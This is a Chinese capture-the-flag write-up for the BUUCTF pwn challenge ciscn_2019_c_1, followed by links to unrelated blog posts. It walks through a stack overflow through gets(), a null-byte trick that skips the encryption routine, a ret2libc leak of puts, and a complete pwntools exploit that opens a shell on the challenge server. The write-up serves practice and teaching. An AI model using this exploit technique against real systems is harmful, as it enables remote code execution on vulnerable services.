[BUUCTF]PWN6——ciscn_2019_c_1

题目网址:https://buuoj.cn/challenges#ciscn_2019_c_1

步骤
例行检查,64位,开启了nx保护

nc一下,看看输入点的字符串,三个选项加密、解密、退出

用64位ida打开,先是shift+f12查看一下程序里的字符串

没有发现system函数和字符串“bin/sh”,先根据输入点的字符串查看一下主要函数

就像一开始说的程序的功能就是加密和解密,看伪代码可以知道,只有选1的时候才会调用encrypt()这个应该是加密函数,其余选项没有利用点

看一下encrypt()伪代码

输入点在第10行gets函数没有限制读入的长度,可以造成溢出,这题没有现成的system(’/bin/sh‘)或者cat flag可以让我们直接利用,所以需要我们自己想办法让程序调用这些命令

从11行到33行是我们的加密函数的加密过程部分,它会对我们输入的字符串进行操作,为了保证我们构造的rop不会被破坏,要想办法绕过加密,14行的if判断里有个strlen函数,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密

这一类题目的基本做法

1.利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
用的libc的版本。

2.程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
量,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量

3.得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执
行system(’/bin/sh‘)这样的命令

利用过程

可以在上面的程序伪代码中看到,程序执行过了puts函数,我们就利用它的plt和got地址来泄露我们的 ibc版本,这里用到了一个延迟绑定技术,具体的可以看我下面给的这个链接,这个老师具体讲了一下这种类型题目的做法,还有延迟绑定技术
https://m.weishi100.com/mweb/single/?id=2567662

1.泄露libc版本

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8) #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi)
payload+=p64(puts_got) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt) #调用puts函数,输出的是puts的got表地址
payload+=p64(main) #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
#让它返回到main函数,这样我们才可以再一次利用输入点构造rop r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline() puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))#接收程序返回的地址
#lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr) #利用LibcSearcher模块找到匹配的libc版本

没有安装LibcSearcher模块的可以根据下面的这个链接下载安装
https://blog.csdn.net/neuisf/article/details/103829683

下面粘贴一个在线查找libc版本的网站: https://libc.blukat.me/
我是比较习惯于用LibcSearcher来找libc版本,我们也可以在上面那个网站上利用函数的末3位找到libc版本

[:-1]是python里的切片用法,执行过程如下,上述代码中这样写是为了舍弃接收到的字符串最后的’\x0’

我这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序

因此我这题需要借用寄存器来传参

ROPgadget  --binary ciscn_2019_c_1 |grep "pop rdi"

2.算出偏移量,算出system函数和“bin/sh”字符串地址

libc=LibcSearcher('puts',puts_addr)     #找到libc版本
offset=puts_addr-libc.dump('puts') #算出偏移量
binsh=offset+libc.dump('str_bin_sh') #偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

3.构造rop执行system(‘/bin/sh’)

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐

ROPgadget  --binary ciscn_2019_c_1 |grep ret


完整exp:

from pwn import*
from LibcSearcher import* r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1') main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9 puts_plt=elf.plt['puts']
puts_got=elf.got['puts'] r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main) r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline() puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr) libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system') r.sendlineafter('choice!\n','1') payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system) r.sendlineafter('encrypted\n',payload) r.interactive()

运行的时候发现找到了两个匹配的libc版本,自己尝试一下,这边应该选1

[BUUCTF]PWN6——ciscn_2019_c_1的更多相关文章

  1. [BUUCTF]PWN9——ciscn_2019_en_2

    [BUUCTF]PWN9--ciscn_2019_en_2 题目网址:https://buuoj.cn/challenges#ciscn_2019_en_2 步骤: 例行检查,64位,开启了NX保护 ...

  2. buuctf@ciscn_2019_c_1

    from pwn import * context.log_level='debug' #io=remote('node3.buuoj.cn',29121) io=process('./ciscn_2 ...

  3. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  4. buuctf@ciscn_2019_en_2

    from pwn import * context.log_level='debug' io=process('./ciscn_2019_en_2') libc=ELF('./libc.so') el ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  7. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  8. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  9. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

随机推荐

  1. 反调试代码调试死机代码禁止F12代码

    反调试代码调试死机代码禁止F12代码  // 反调试函数,参数:开关,执行代码 function siji(){    var total="";    for (var i=0; ...

  2. Elasticsearch分布式搜索和数据分析引擎-ElasticStack(上)v7.14.0

    Elasticsearch概述 **本人博客网站 **IT小神 www.itxiaoshen.com Elasticsearch官网地址 https://www.elastic.co/cn/elast ...

  3. [省选联考 2021 A/B 卷] 图函数

    考虑到一件事情首先\(u -> u\)是可行的. 所以其实对于\(f(u,G')\) 只要考虑\([1,u]\)的点. 那么考虑其条件等价于\(u -> i\) 和 \(i -> u ...

  4. 洛谷 P4463 - [集训队互测 2012] calc(多项式)

    题面传送门 & 加强版题面传送门 竟然能独立做出 jxd 互测的题(及其加强版),震撼震撼(((故写题解以祭之 首先由于 \(a_1,a_2,\cdots,a_n\) 互不相同,故可以考虑求出 ...

  5. 洛谷 P7078 - [CSP-S2020] 贪吃蛇(贪心)

    题面传送门 题意: 有 \(n\) 条蛇,每条蛇有个实力 \(a_i\) 我们称编号为 \(x\) 的蛇比编号为 \(y\) 的蛇强,当且仅当 \(a_x>a_y\) 或 \(a_x=a_y\) ...

  6. Codeforces 632F - Magic Matrix(暴力 bitset or Prim 求最小生成树+最小瓶颈路)

    题面传送门 开始挖老祖宗(ycx)留下来的东西.jpg 本来想水一道紫题作为 AC 的第 500 道紫题的,结果发现点开了道神题. 首先先讲一个我想出来的暴力做法.条件一和条件二直接扫一遍判断掉.先将 ...

  7. Codeforces 690A2 - Collective Mindsets (medium)

    Codeforces 题面传送门 & 洛谷题面传送门 一道脑筋急转弯的结论题. 首先我们考虑对于某个特定的金币数 \(m\),有哪些 \(n\) 满足条件.考虑最 naive 的情况,\(m= ...

  8. Codeforces 497E - Subsequences Return(矩阵乘法)

    Codeforces 题目传送门 & 洛谷题目传送门 一道还算不错的矩乘 tea 罢,不过做过类似的题应该就比较套路了-- 首先考虑对于一个固定的序列 \(\{a\}\) 怎样求其本质不同的序 ...

  9. 【百奥云GS专栏】1-全基因组选择介绍

    目录 什么是基因组选择? 基因组选择技术的发展 基因组选择的原理和流程 基因组选择的模型 基因组选择的展望 参考资料 什么是基因组选择? 基因组选择(Genomic Selection,简称GS)这一 ...

  10. Thinkphp5.1自动加载机制

    Thinkphp5.1自动加载机制 自动加载机制 注册自动加载 引入静态自动加载映射文件,autoload_static.php 根据首字母前缀将不同的加载类归类-$prefixLengthsPsr4 ...